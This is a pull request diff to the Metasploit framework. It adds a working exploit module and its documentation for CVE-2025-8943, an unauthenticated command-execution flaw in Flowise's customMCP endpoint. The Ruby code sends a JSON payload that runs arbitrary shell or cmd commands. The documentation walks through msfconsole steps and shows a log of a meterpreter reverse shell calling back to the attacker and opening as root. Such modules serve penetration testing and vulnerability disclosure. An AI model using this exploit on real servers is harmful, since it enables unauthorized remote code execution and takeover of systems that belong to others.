Skip to content
Merged
Show file tree
Hide file tree
Changes from 1 commit
Commits
Show all changes
17 commits
Select commit Hold shift + click to select a range
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
103 changes: 103 additions & 0 deletions documentation/modules/exploit/multi/http/flowise_custommcp_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,103 @@
## Vulnerable Application

[Flowise](https://github.com/FlowiseAI/Flowise) is an open-source platform for building AI agents. Versions prior to 3.0.1 are vulnerable
to an unauthenticated remote command execution vulnerability (CVE-2025-8943) in the customMCP endpoint.

The vulnerability exists in the `/api/v1/node-load-method/customMCP` endpoint which allows unauthenticated users to execute arbitrary
commands by sending a specially crafted JSON payload. The endpoint accepts a command and arguments that are executed directly on the system.

This vulnerability affects Flowise versions < 3.0.1.

This module was successfully tested on:

* Flowise 3.0.0 installed with Docker

### Installation

1. Create a directory and create `docker-compose.yml` with the following content:

```yaml
services:
flowise:
image: flowiseai/flowise:3.0.0
restart: always
environment:
- PORT=3000
- DATABASE_PATH=/root/.flowise
- APIKEY_PATH=/root/.flowise
- SECRETKEY_PATH=/root/.flowise
- LOG_PATH=/root/.flowise/logs
- BLOB_STORAGE_PATH=/root/.flowise/storage
ports:
- '3000:3000'
healthcheck:
test: ['CMD', 'curl', '-f', 'http://localhost:3000/api/v1/ping']
interval: 10s
timeout: 5s
retries: 5
start_period: 30s
volumes:
- ~/.flowise:/root/.flowise
entrypoint: /bin/sh -c "sleep 3; flowise start"
```

2. `docker compose up -d`

3. Verify the installation by checking http://127.0.0.1:3000/api/v1/version (should return `{"version":"3.0.0"}`)


## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/flowise_custommcp_rce`
4. Do: `set RHOSTS <target_ip>`
5. Do: `set LHOST <your_ip>`
6. Do: `set FETCH_SRVHOST <your_ip>`
7. Do: `run`
8. You should get a meterpreter session


## Options


## Scenarios

### Flowise 3.0.0 on Linux (Docker)

```
msf6 > use exploit/multi/http/flowise_custommcp_rce
[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp
msf6 exploit(multi/http/flowise_custommcp_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/flowise_custommcp_rce) > set RPORT 3000
RPORT => 3000
msf6 exploit(multi/http/flowise_custommcp_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp
msf6 exploit(multi/http/flowise_custommcp_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/flowise_custommcp_rce) > set LPORT 5555
LPORT => 5555
msf6 exploit(multi/http/flowise_custommcp_rce) > set FETCH_SRVHOST 172.17.0.1
FETCH_SRVHOST => 172.17.0.1
msf6 exploit(multi/http/flowise_custommcp_rce) > set FETCH_SRVPORT 8081
FETCH_SRVPORT => 8081
msf6 exploit(multi/http/flowise_custommcp_rce) > run

[*] Started reverse TCP handler on 172.17.0.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Flowise version detected: 3.0.0
[+] The target appears to be vulnerable. Version 3.0.0 is vulnerable to CVE-2025-8943
[*] Sending stage (3090404 bytes) to 172.23.0.2
[*] Meterpreter session 1 opened (172.17.0.1:5555 -> 172.23.0.2:36184) at 2025-11-18 21:45:37 +0100

meterpreter > sysinfo
Computer : docker-flowise-1
OS : Linux
Architecture : x64
System Language : en_US.UTF-8
Meterpreter : x64/linux
meterpreter > getuid
Server username: root
```

129 changes: 129 additions & 0 deletions modules/exploits/multi/http/flowise_custommcp_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,129 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Flowise Custom MCP Remote Command Execution (CVE-2025-8943)',
'Description' => %q{
This module exploits an unauthenticated remote command execution vulnerability
in Flowise versions < 3.0.1. The vulnerability exists in the customMCP endpoint
(/api/v1/node-load-method/customMCP) which allows unauthenticated users to execute
arbitrary commands by sending a specially crafted JSON payload.
The endpoint accepts a command and arguments that are executed directly on the system.
},
'Author' => [
'Assaf Levkovich', # Vulnerability discovery (JFrog)
'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-8943'],
['URL', 'https://research.jfrog.com/vulnerabilities/flowise-os-command-remote-code-execution-jfsa-2025-001380578/']
],
'Platform' => %w[unix linux win],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter_reverse_tcp
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter_reverse_tcp
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-08-14',
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 3000,
'SSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end

def check
version_url = normalize_uri(target_uri.path, 'api', 'v1', 'version')
res = send_request_cgi({
'uri' => version_url,
'method' => 'GET',
'headers' => { 'Accept' => 'application/json' }
})

return CheckCode::Unknown('Could not retrieve Flowise version') unless res&.code == 200

json_data = res.get_json_document
version_str = json_data['version']
return CheckCode::Unknown('Could not retrieve Flowise version') if version_str.nil? || version_str.to_s.empty?

version = Rex::Version.new(version_str)
print_status("Flowise version detected: #{version}")

return CheckCode::Appears("Version #{version} is vulnerable to CVE-2025-8943") if version < Rex::Version.new('3.0.1')

CheckCode::Safe("Version #{version} is not vulnerable")
end

def execute_command(cmd, _opts = {})
command = 'sh'
args = ['-c', cmd]

if target.platform.names.include?('Windows')
command = 'cmd'
args = ['/c', cmd]
end

payload = {
'inputs' => {
'mcpServerConfig' => {
'command' => command,
'args' => args
}
},
'loadMethod' => 'listActions'
}

exploit_url = normalize_uri(target_uri.path, 'api', 'v1', 'node-load-method', 'customMCP')
res = send_request_cgi({
'uri' => exploit_url,
'method' => 'POST',
'ctype' => 'application/json',
'headers' => {
'x-request-from' => 'internal'
},
'data' => payload.to_json
})

return false unless res

true
end

def exploit
execute_command(payload.encoded)
end
end
Loading